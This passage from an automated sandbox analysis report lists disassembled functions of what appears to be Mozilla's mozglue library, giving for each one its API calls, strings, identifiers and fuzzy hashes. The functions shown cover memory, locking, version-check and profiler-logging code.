ReleaseSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,6C973899,?), ref: 6C9738C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C973899,?), ref: 6C9738F1
RtlFreeHeap.NTDLL ref: 6C973920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C973899,?), ref: 6C97392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C973899,?), ref: 6C973943
RtlFreeHeap.NTDLL ref: 6C97396E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction ID: 74eb00ba9bf65c7cf1cdb11925fde1b842c21f0d52fe15ef1bfc42b6249f39af
Opcode Fuzzy Hash: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction Fuzzy Hash: 05212472602B20DFD721DF25C880B96B7B9FF55328F268469D95AA7B10C730F845CBA0

Function 6C9A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85AC

Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A767F
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A7693
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85B2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction ID: 3dcab1c6b04a2347801b14a8a5d75b2a149c0a7dda4c8534bbd5f9ca1ec269c7
Opcode Fuzzy Hash: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction Fuzzy Hash: 5921B2742007419FDB18DB64C888A5AB7B9BF5430DF24082DE99BC3B41DB31F959CB55

Function 6C971640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C971699
VerSetConditionMask.NTDLL ref: 6C9716CB
VerSetConditionMask.NTDLL ref: 6C9716D7
VerSetConditionMask.NTDLL ref: 6C9716DE
VerSetConditionMask.NTDLL ref: 6C9716E5
VerSetConditionMask.NTDLL ref: 6C9716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9716F9

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction ID: 3ba5d2a5828e4d7ff8963ba201be3bd5fbfb3274f1015f64c897bd606ab22139
Opcode Fuzzy Hash: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction Fuzzy Hash: 3621E7B0744308ABFB216A648C45FBB737CDFEAB04F044528F6059B2C0C674DD5487A1

Function 6C9AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction ID: e1879e1a373abe1aa51c9055cfeb1370ac9163b44ab9269262a89e67be4e0c71
Opcode Fuzzy Hash: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction Fuzzy Hash: 5411A775205605AFCB84AF98D8489E5777DFFAA35CB201416EA0583F01DB72E826CBA4

Function 6C971FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C971FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C971FFD
__Init_thread_footer.LIBCMT ref: 6C972011
FreeLibrary.KERNEL32 ref: 6C972059

Strings

CoCreateInstance, xrefs: 6C971FF7
combase.dll, xrefs: 6C971FD9

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction ID: 8f31875d8ca2668301e76d892be7034fafcae000e400072622c81176fbf291f8
Opcode Fuzzy Hash: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction Fuzzy Hash: 9A112C75609204EBDF608F55D84DE6A3B79EFBE359F20402AE90692640CB31D910CEB1

Function 6C970EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C99D9F0,00000000), ref: 6C970F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C970F3C
__Init_thread_footer.LIBCMT ref: 6C970F50
FreeLibrary.KERNEL32(?,6C99D9F0,00000000), ref: 6C970F86

Strings

CoInitializeEx, xrefs: 6C970F36
combase.dll, xrefs: 6C970F18

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction ID: b676c1c2aa88471308af12c15927b2d26d4262a079336ec2b2dc6600965b077b
Opcode Fuzzy Hash: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction Fuzzy Hash: 5A11737460A240DBEF50CF95D908A653778EFBF329F24522AE90592740DB31E415CA65

Function 6C9AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF561

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF585
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9AF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C9AF499
[I %d/%d] profiler_resume, xrefs: 6C9AF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C9AF3A8

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction ID: 93a42a3ae3067a7dd972a9743c6cb253c72eab6614be56bdaba885bf3163687f
Opcode Fuzzy Hash: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction Fuzzy Hash: 8EF054756043049FDB406BA5D84CA6A7BBDFFBE29DF204416EA0583701EB76C80587A9

Function 6C9AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction ID: cfd4dcafb69513db6cb2eb419df3cab5a0b87caa47a5c37ff53383c573de23b4
Opcode Fuzzy Hash: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction Fuzzy Hash: E7F0B475204304AFDB406BA4D84CA6A7BBCFFFE29DF200416EA0583711DB36880687A8

Function 6C970E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C970DF8), ref: 6C970E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C970EA1
__Init_thread_footer.LIBCMT ref: 6C970EB5
FreeLibrary.KERNEL32 ref: 6C970EC5

Strings

kernel32.dll, xrefs: 6C970E7D
GetProcessMitigationPolicy, xrefs: 6C970E9B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction ID: cb9c7f8a0f3b5e6c6ec42031fb579f23d5260a6e7eaad4b66fb0197db783d528
Opcode Fuzzy Hash: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction Fuzzy Hash: A0014B70B09381CBDF508FEAE854A4233B5EFAEB1CF20552AD90182B40EB33E4448A65

Function 6C9A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C99CFAE,?,?,?,6C9631A7), ref: 6C9A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9631A7), ref: 6C9A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9631A7), ref: 6C9A0627

Strings

<jemalloc>, xrefs: 6C9A05FA, 6C9A060F
: (malloc) Error in VirtualFree(), xrefs: 6C9A061B, 6C9A0625

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction ID: a38da1d309b1533c4685862c5a026f5d961b099aec86a31da728e9b2e11d8add
Opcode Fuzzy Hash: 63580b97ba554b4e736c35958c7987b049da0421afda296d895078f98f1c07d4
Instruction Fuzzy Hash: A7E08CE2A0111037F6142296AC86DBBB71CDBEA134F090039FD0D92701E94AFD1A52F6

Function 6C9705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction ID: 25e7542d1f47cc95e41a58ec81640489b08a0e7094f512fe028eb2741d4b8e12
Opcode Fuzzy Hash: 212d9bbaa43b503b91853b73b553c92d5bfa7a1cfbba9234424a45246e1306a7
Instruction Fuzzy Hash: 11A158B0A05705CFDB24CF29C994A99FBF5BF59304F1486AED44A97B00E731A945CFA0

Function 6C9C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C14E2
GetCurrentThreadId.KERNEL32 ref: 6C9C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9C15BA
free.MOZGLUE(?), ref: 6C9C16B4

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction ID: b7ddb7610c04cd1dd296049144f7fc88b74621e4345d0fe11369e7d7c606cb7f
Opcode Fuzzy Hash: 6df77ac436fef85cd87c91b40858f1121ce221d569c2ce2cf1e92143b90c5a65
Instruction Fuzzy Hash: D961E271A047409BDB11CF20C880BDEB7B8BFAA308F44851CED8A67711DB31E959CB96

Function 6C9B9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B9FDB
free.MOZGLUE(?,?), ref: 6C9B9FF0
free.MOZGLUE(?,?), ref: 6C9BA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9BA0BE
free.MOZGLUE(?,?), ref: 6C9BA0D5
free.MOZGLUE(?,?), ref: 6C9BA0EB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction ID: ecde012a48f83f510aedcc496e44155f46f8d42b30e62f4fa8a7f7c302b9d0ea
Opcode Fuzzy Hash: acd5921a4f095752639b4424e4839b5adc42aac1a8b813739dc33195030f9f94
Instruction Fuzzy Hash: DD61B075409601EFD711CF18C48059AB3F5FFA8328F54865DE899AB702EB32E986CBD1

Function 6C9BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9BD38A,?), ref: 6C9BDC6F
free.MOZGLUE(?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9BD38A,?), ref: 6C9BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9BD38A,?), ref: 6C9BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9BD38A,?), ref: 6C9BDD4A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

